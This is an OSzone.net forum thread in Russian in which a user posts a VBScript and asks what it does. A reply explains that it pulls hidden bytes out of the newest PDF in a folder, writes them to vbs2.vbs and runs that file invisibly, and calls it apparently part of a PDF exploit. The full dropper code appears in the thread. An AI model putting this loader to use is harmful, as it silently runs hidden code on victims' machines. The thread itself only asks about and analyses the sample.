VBS скрипт - Компьютерный форум OSzone.net

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)

- Скриптовые языки администрирования Windows (http://forum.oszone.net/forumdisplay.php?f=102)

- - VBS скрипт (http://forum.oszone.net/showthread.php?t=203445)

VBS скрипт

Что он делает, и правильный ли он?

Код:

Dim BS  

Set BS = CreateObject("ADODB.Stream")  

BS.Type = 1  

BS.Open  

BS.LoadFromFile FindLastModified(".")  

BS.Position=72160       

s = BS.Read (87286     -72160     )  

BS.Close  

BS.Open  

BS.Write s  

BS.SaveToFile "vbs2.vbs",2  

BS.Close  

dim www  

set www = wscript.createobject("wscript.shell")  

www.run "vbs2.vbs",0,FALSE  

Function FindLastModified(strDir)    

Set objFSO = CreateObject("Scripting.FileSystemObject")    

Set oFolder = objFSO.GetFolder(strDir)    

d = CDate("1/1/1950")    

For Each oFile In oFolder.Files    

If oFile.DateLastModified > d and InStr(oFile.Name, ".pdf") > 0 Then    

NewestFile = oFile.Name    

d = oFile.DateLastModified    

End If    

Next    

FindLastModified = NewestFile    

End Function

hazejkeo, выбирает в текущей папке самый новый PDF-файл, считывает из него 15126 байт по смещению 72160, сохраняет их в файле vbs2.vbs и запускает. По всей видимости, часть PDF-эксплойта (который вы уже пытались выложить в предыдущей теме).